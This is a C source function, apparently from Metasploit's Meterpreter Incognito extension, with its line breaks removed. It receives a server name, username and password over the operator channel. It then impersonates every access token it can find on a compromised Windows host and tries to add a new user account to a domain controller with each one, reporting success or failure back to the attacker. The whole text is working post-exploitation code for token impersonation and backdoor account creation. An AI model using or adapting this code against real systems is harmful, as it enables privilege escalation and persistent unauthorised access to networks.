DWORD request_incognito_add_user(Remote *remote, Packet *packet) { USER_INFO_1 ui; DWORD dwLevel = 1, dwError = 0, num_tokens = 0, i; NET_API_STATUS nStatus; SavedToken *token_list = NULL; HANDLE saved_token; char *dc_netbios_name, *username, *password, return_value[BUF_SIZE] = "", temp[BUF_SIZE] = ""; wchar_t dc_netbios_name_u[BUF_SIZE], username_u[BUF_SIZE], password_u[BUF_SIZE]; // Read arguments Packet *response = packet_create_response(packet); dc_netbios_name = packet_get_tlv_value_string(packet, TLV_TYPE_INCOGNITO_SERVERNAME); username = packet_get_tlv_value_string(packet, TLV_TYPE_INCOGNITO_USERNAME); password = packet_get_tlv_value_string(packet, TLV_TYPE_INCOGNITO_PASSWORD); mbstowcs(dc_netbios_name_u, dc_netbios_name, strlen(dc_netbios_name)+1); mbstowcs(username_u, username, strlen(username)+1); mbstowcs(password_u, password, strlen(password)+1); ui.usri1_name = username_u; ui.usri1_password = password_u; ui.usri1_priv = USER_PRIV_USER; ui.usri1_home_dir = NULL; ui.usri1_comment = NULL; ui.usri1_flags = UF_SCRIPT; ui.usri1_script_path = NULL; // Save current thread token if one is currently being impersonated if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, TRUE, &saved_token)) saved_token = INVALID_HANDLE_VALUE; token_list = get_token_list(&num_tokens); if (!token_list) { sprintf(return_value, "[-] Failed to enumerate tokens with error code: %d\n", GetLastError()); goto cleanup; } sprintf(return_value, "[*] Attempting to add user %s to host %s\n", username, dc_netbios_name); // Attempt to add user with every token for (i=0;i<num_tokens;i++) if (token_list[i].token) { // causes major problems (always error 127) once you have impersonated this token once. No idea why!!! if (!_stricmp("NT AUTHORITY\\ANONYMOUS LOGON", token_list[i].username)) continue; ImpersonateLoggedOnUser(token_list[i].token); nStatus = NetUserAdd(dc_netbios_name_u, 1, (LPBYTE)&ui, &dwError); RevertToSelf(); switch (nStatus) { case ERROR_ACCESS_DENIED: case ERROR_LOGON_FAILURE: // unknown username or bad password case ERROR_INVALID_PASSWORD: break; case NERR_Success: strncat(return_value, "[+] Successfully added user\n", sizeof(return_value)-strlen(return_value)-1); goto cleanup; case NERR_InvalidComputer: strncat(return_value, "[-] Computer name invalid\n", sizeof(return_value)-strlen(return_value)-1); goto cleanup; case NERR_NotPrimary: strncat(return_value, "[-] Operation only allowed on primary domain controller\n", sizeof(return_value)-strlen(return_value)-1); goto cleanup; case NERR_GroupExists: strncat(return_value, "[-] Group already exists\n", sizeof(return_value)-strlen(return_value)-1); goto cleanup; case NERR_UserExists: strncat(return_value, "[-] User already exists\n", sizeof(return_value)-strlen(return_value)-1); goto cleanup; case NERR_PasswordTooShort: strncat(return_value,"[-] Password does not meet complexity requirements\n", sizeof(return_value)-strlen(return_value)-1); goto cleanup; default: sprintf(temp, "[-] Unknown error: %d\n", nStatus); strncat(return_value, temp, sizeof(return_value)-strlen(return_value)-1); goto cleanup; } } strncat(return_value, "[-] Access denied with all tokens\n", sizeof(return_value)-strlen(return_value)-1); cleanup: for (i=0;i<num_tokens;i++) CloseHandle(token_list[i].token); free(token_list); packet_add_tlv_string(response, TLV_TYPE_INCOGNITO_GENERIC_RESPONSE, return_value); packet_transmit_response(ERROR_SUCCESS, remote, response); // Restore token impersonation if (saved_token != INVALID_HANDLE_VALUE) ImpersonateLoggedOnUser(saved_token); return ERROR_SUCCESS; }